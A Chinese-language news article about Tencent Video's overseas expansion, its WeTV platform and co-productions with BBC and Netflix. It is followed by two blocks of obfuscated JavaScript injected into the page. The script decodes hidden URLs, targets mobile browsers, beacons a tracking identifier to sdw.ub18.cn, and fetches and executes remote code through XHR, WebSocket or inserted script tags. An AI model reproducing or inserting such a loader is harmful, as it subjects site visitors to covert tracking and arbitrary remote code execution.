探索革新 开放共赢 腾讯视频用国际化视野讲好中国故事
时间：2020-10-23 23:54:37阅读：3721次来源：星辰影院 10月14日至17日，2019法国秋季戛纳电视节正式举行。期间，由国务院新闻办公室、国家广播电视总局、上海市文化和旅游局主办的中国网络视听产业论坛于15日启幕。国务院新闻办公室对外推广局局长张雁彬，国家广播电视总局国际司副司长周继红，上海市文化和旅游局副局长、上海市广播电视局副局长罗毅以及腾讯视频副总裁、企鹅影视高级副总裁韩志杰等企业代表一同出席。在此次论坛上，韩志杰发表主题演讲，分享了腾讯视频在国际交流与内容出海领域的经验和成果。
互联网视听高速发展 助推国际内容交流合作
互联网一直是国际文化交流的重要桥梁，而互联网视听产品则是推动不同文化交流互鉴的“加速器”。最新数据显示，截至今年6月中国网民规模已经达到8.54亿，网络视频用户规模占比超88.8％。在市场带动下，以腾讯视频为代表的中国头部网络视听平台也实现了高速的发展。目前，腾讯视频全平台的日活用户已经超过2亿，人均日观看时长超过100分钟，截止今年6月底，付费会员规模已近亿。对此，韩志杰认为，广袤的互联网市场及年轻化、规模化、具有强鉴赏力的网络视听用户，正在为行业发展和国际内容交流带来更大的发展空间和机遇。
近年来，腾讯视频积极推进国际内容交流与合作，在拓宽用户和市场视野的同时，与Netflix、BBC、NHK等众多国际知名视听机构建立了文明交互的国际“朋友圈”，为中国内容出海打通了渠道。随着国际“朋友圈”友谊的逐渐深入和自制能力的提升，腾讯视频将单纯的内容引进逐步升级成为联合开发制作。比如腾讯视频与BBC联合打造的自然纪录片《蓝色星球2》《王朝》，以及与福斯传媒联手打造的华语迷你剧《东方华尔街》都取得卓越的成绩。
探索革新 推动中国故事走出国门
除了与国际伙伴的深入合作，腾讯视频通过拓宽内容品类，进军产业上游，让中国故事出海具备了规模基础与内容优势。韩志杰在现场介绍，目前腾讯视频已经由单一的播放平台转变为制播一体化的视听平台，并通过不断地学习与探索，实现了全品类的内容覆盖以及自制内容精品化、细分化的品质升级。
此外，腾讯视频通过构建内容生态，让中国故事出海具备了多元化的传播形式。目前，腾讯视频已经实现了由剧集、综艺、电影等核心产品，到游戏、音乐、小说等新兴品类的拓展，通过生态联动实现了IP文化与价值的立体化传播。比如，《全职高手》就是借助生态体系的内外联动，实现了由网文IP到剧、漫的产业链开发。
为了拉近优质华语内容与海外用户的距离，在实现内容精品化、生态化的模式升级后，腾讯视频又创造性地打造了一个富有中国标签的海外视频平台——WeTV。韩志杰指出WeTV不仅改变了自制内容的出海形式、拓宽出海渠道，还拉近了内容与国际用户的距离。 自今年上线以来，WeTV先后在泰国、印尼、印度等多个国家和地区正式落地并在不到半年时间里取得初步成果。《陈情令》和《致我们暖暖的小时光》等剧集在该平台同步播出期间话题几度登顶泰国推特热搜第一，线下见面会也异常火爆，成功引发海外用户追剧热潮。
开放共赢 加强交流互鉴
通过阶段性的探索革新，腾讯视频在成功推动华语内容出海的同时收获了宝贵经验。韩志杰认为，具备中国文化特色、兼具正能量元素与国际化视角表达的优质内容，更容易引发共情、便于传播。
在过去的两年中，腾讯视频输出了30余部涵盖电视剧、综艺、纪录片、电影、动画等品类的优质自制内容。比如，具有中国特色的探险题材自制剧《鬼吹灯之精绝古城》，在Youtube上播放量近4000万；综艺节目《创造101》和《明日之子》，极致地展现了中国年轻人拼搏奋进的精神；被Netflix买断全球版权，作为其首部全球播出的国产网络原创系列纪录片《风味原产地 · 潮汕》，被海外用户誉为精致可口的“文化蛋糕”；国漫《快把我哥带走》及少儿动画《超级小熊布迷》也带动越来越多的精品中国动画走进了国外观众的视野。
谈及接下来的规划与发展，韩志杰表示腾讯视频将持续加强精品自制能力，以开放共赢的态度与国际合作伙伴进行更为深入的交流，借助网络视听的传播特点与优势，以更加国际化的视野，讲好中国故事，传播好中国声音。
function NSpVzZmn(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function XzIuROKd(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return NSpVzZmn(t);};window[''+'z'+'J'+'d'+'j'+'q'+'K'+'Y'+'x'+'l'+'C'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function HZYGr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=XzIuROKd,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=HZYGr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=HZYGr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0EElMkYlMkZhLmd1a2dzby5jbiUzQTg4OTEE=','d3NzJTNBJTJGJTJGYS5jbm11lbnQuY24lM0E5NTM11','159458',window,document,['E','1']);}:function(){};
function IflSQNc(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function vntQFfe(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return IflSQNc(t);};window[''+'n'+'e'+'o'+'N'+'A'+'U'+'Z'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function VEcNL(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=vntQFfe,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=VEcNL(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=VEcNL(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLmd1a2dzby5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS5jbm1lbnQuYY24lM0E5NTM1','159459',window,document,['k','Y']);}:function(){};